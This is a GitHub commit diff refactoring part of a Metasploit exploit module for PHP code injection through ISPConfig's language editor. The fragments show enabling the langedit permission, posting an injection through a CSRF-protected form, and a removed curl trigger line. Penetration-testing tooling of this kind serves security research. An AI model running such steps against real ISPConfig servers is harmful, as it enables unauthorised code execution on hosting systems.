Skip to content

Commit 7d88156

Browse files
committed
Refactors code
1 parent 1700b2e commit 7d88156

File tree

1 file changed

+3
-11
lines changed

1 file changed

+3
-11
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -194,7 +194,7 @@ def enable_langedit_permission
194194
'keep_cookies' => true
195195
})
196196

197-
if res && res.code == 200
197+
if res&.code == 200
198198
print_good('Successfully enabled admin_allow_langedit')
199199
return true
200200
else
@@ -237,16 +237,12 @@ def inject_payload
237237
'_csrf_key' => csrf_key,
238238
'records[\]' => injection
239239
}
240-
res = send_request_cgi({
240+
send_request_cgi({
241241
'method' => 'POST',
242242
'uri' => edit_url,
243243
'vars_post' => injection_data,
244244
'keep_cookies' => true
245245
})
246-
fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
247-
payload_url = normalize_uri(target_uri.path, 'admin', @payload_file)
248-
print_good("Payload successfully injected: #{@payload_file}")
249-
return payload_url
250246
end
251247

252248
def exploit
@@ -269,10 +265,6 @@ def exploit
269265
end
270266
end
271267

272-
payload_url = inject_payload
273-
print_status('Starting payload handler...')
274-
print_status('Manual trigger information:')
275-
print_line("URL: #{full_uri}#{payload_url}")
276-
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
268+
inject_payload
277269
end
278270
end

0 commit comments

Comments
 (0)